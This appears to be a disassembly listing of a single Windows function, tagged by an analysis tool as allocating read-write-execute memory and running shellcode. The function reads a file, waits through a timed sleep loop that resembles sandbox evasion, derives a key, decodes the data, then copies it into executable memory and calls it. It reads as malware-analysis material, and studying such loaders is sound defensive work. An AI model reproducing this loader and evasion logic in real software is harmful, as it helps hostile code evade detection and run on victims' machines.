Function at 0x140001500
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x108]
sub rsp, 0x1e0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rbx, rcx
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
cmp qword [rbx + 0x18], 0x10
jb 0x140001555
mov rbx, qword [rbx]
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140003040
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 4]
test byte [rsp + rax + 0x40], 6
jne 0x140001abd
xor r12d, r12d
mov qword [rbp + 0x80], r12
mov word [rbp + 0x88], 1
mov rax, qword [rsp + rax + 0x78]
mov qword [rbp + 0x40], rax
test rax, rax
sete byte [rbp + 0x48]
mov byte [rbp + 0x49], r12b
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r12b
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa0], xmm0
movaps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm1
lea rax, [rbp + 0x60]
mov qword [rbp + 0x80], rax
movzx r14d, byte [rbp + 0x49]
movzx edi, byte [rbp + 0x48]
mov rbx, qword [rbp + 0x40]
movzx r15d, byte [rbp + 0xa8]
mov rsi, qword [rbp + 0xa0]
nop word [rax + rax]
test dil, dil
jne 0x140001644
test rbx, rbx
je 0x14000163e
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x14000163e
movzx r14d, al
jmp 0x140001641
mov rbx, r12
mov dil, 1
test r15b, r15b
jne 0x140001662
test rsi, rsi
je 0x14000165c
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x14000165f
mov rsi, r12
mov r15b, 1
test rbx, rbx
jne 0x14000198b
test rsi, rsi
jne 0x140001994
lea rcx, [rsp + 0x40]
call fcn.140002fc0
test rax, rax
jne 0x1400016a1
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cqo
idiv rbx
imul rdi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, 0x77359400
add rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x1400017de
movabs r15, 0x311cdad160000
movabs r14, 0x112e0be826d694b3
movsd xmm6, qword [0x140005628]
nop word [rax + rax]
mov rbx, rdi
sub rbx, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm6
cmova rbx, r15
imul rcx, rax, 0x64
add rbx, rcx
mov rax, r14
imul rbx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp + 0xa0], rdx
imul rax, rdx, 0x3b9aca00
sub rbx, rax
mov dword [rbp + 0xa8], ebx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jl 0x140001750
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rcx, rax
sub rcx, rsi
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov esi, 0x7f149
sub esi, edx
lea edi, [rsi + 0x76c]
mov ebx, edi
call fcn.140001290
cmp edi, 0x7f148
je 0x14000184f
inc edi
mov eax, edi
sub eax, esi
cmp eax, 0x898
jle 0x140001833
lea eax, [rbx - 0x7f148]
test eax, eax
jne 0x140001a6f
lea r9, [rbp + 0xb5]
nop dword [rax]
nop dword [rax + rax]
dec r9
mov eax, 0xcccccccd
mul ebx
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r9], bl
mov ebx, edx
test edx, edx
jne 0x140001870
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], dl
lea rax, [rbp + 0xb5]
cmp r9, rax
je 0x1400018d4
lea r8, [rbp + 0xb5]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x80]
call fcn.1400033c0
nop
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x40]
call fcn.140001360
nop
lea rsi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rsi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.140001290
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
call fcn.140001290
call fcn.140001290
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140001a1a
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test rsi, rsi
jne 0x140001674
test dil, dil
jne 0x1400019b5
test rbx, rbx
je 0x1400019b2
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400019b2
movzx r14d, al
jmp 0x1400019b5
mov rbx, r12
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
cmp rcx, rdx
jae 0x1400019e2
lea rax, [rcx + 1]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x60]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0x60]
mov byte [rax + rcx], r14b
mov byte [rax + rcx + 1], 0
jmp 0x1400019ef
movzx r9d, r14b
lea rcx, [rbp + 0x60]
call fcn.140003620
test rbx, rbx
je 0x140001a0a
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001a0a
xor dil, dil
jmp 0x140001620
mov rbx, r12
mov dil, 1
jmp 0x140001620
call fcn.140003a20
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140001a6f
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003a20
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140001aad
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aa8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003a20
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
lea rcx, [rsp + 0x30]
call fcn.140001430
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.1400039c0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret